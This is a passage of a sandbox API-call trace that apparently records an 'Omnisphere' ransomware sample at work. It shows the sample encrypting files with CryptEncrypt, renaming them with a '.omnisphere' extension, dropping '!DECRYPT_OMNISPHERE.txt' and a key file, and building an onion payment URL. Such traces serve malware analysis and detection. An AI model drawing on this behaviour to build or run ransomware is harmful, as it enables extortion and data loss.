dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.122] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.123] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.124] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.124] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.124] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.124] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.124] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.124] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.124] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4e9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.124] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.124] GetProcessHeap () returned 0x1600000 [0119.124] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x165e710 [0119.124] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7cwy3xntx1kvaerb.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7cwy3xntx1kvaerb.lnk.omnisphere")) returned 1 [0119.126] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk.omnisphere.id" [0119.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7cwy3xntx1kvaerb.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.126] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.128] CloseHandle (hObject=0x3c0) returned 1 [0119.129] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.129] CloseHandle (hObject=0x288) returned 1 [0119.129] SetEndOfFile (hFile=0x28c) returned 1 [0119.130] FlushFileBuffers (hFile=0x28c) returned 1 [0119.140] CloseHandle (hObject=0x28c) returned 1 [0119.140] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7cwY3XNtx1KVaERb.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.140] GetProcessHeap () returned 0x1600000 [0119.140] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16b1b38 [0119.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.141] GetProcessHeap () returned 0x1600000 [0119.141] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693fd0 [0119.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693fd0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.141] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.141] GetProcessHeap () returned 0x1600000 [0119.141] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afe88 [0119.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afe88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.141] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.141] GetProcessHeap () returned 0x1600000 [0119.141] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1280 [0119.141] PathCombineW (in: pszDest=0x16a1280, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.141] GetProcessHeap () returned 0x1600000 [0119.141] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a5cd8 [0119.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.141] WriteFile (in: hFile=0x28c, lpBuffer=0x16a5cd8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a5cd8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.142] CloseHandle (hObject=0x28c) returned 1 [0119.142] GetProcessHeap () returned 0x1600000 [0119.142] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b1b38 | out: hHeap=0x1600000) returned 1 [0119.142] GetProcessHeap () returned 0x1600000 [0119.142] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.142] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.142] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.143] CloseHandle (hObject=0x28c) returned 1 [0119.143] GetProcessHeap () returned 0x1600000 [0119.143] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.143] GetProcessHeap () returned 0x1600000 [0119.143] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a2758 | out: hHeap=0x1600000) returned 1 [0119.143] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20440962, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20440962, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20440962, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0xd3, cFileName="7npl KTnMO.flv.lnk", cAlternateFileName="7NPLKT~1.LNK")) returned 1 [0119.143] GetProcessHeap () returned 0x1600000 [0119.143] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.143] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="7npl KTnMO.flv.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk" [0119.143] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7npl ktnmo.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.144] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1286) returned 1 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.144] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] GetTickCount () returned 0x115dc62 [0119.145] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0119.146] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b68) returned 1 [0119.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.146] CryptDestroyKey (hKey=0x1639b68) returned 1 [0119.146] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0119.146] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x506, lpName=0x0) returned 0x288 [0119.146] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x506) returned 0x1480000 [0119.146] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16682c8) returned 1 [0119.147] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0119.147] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.147] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.147] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, 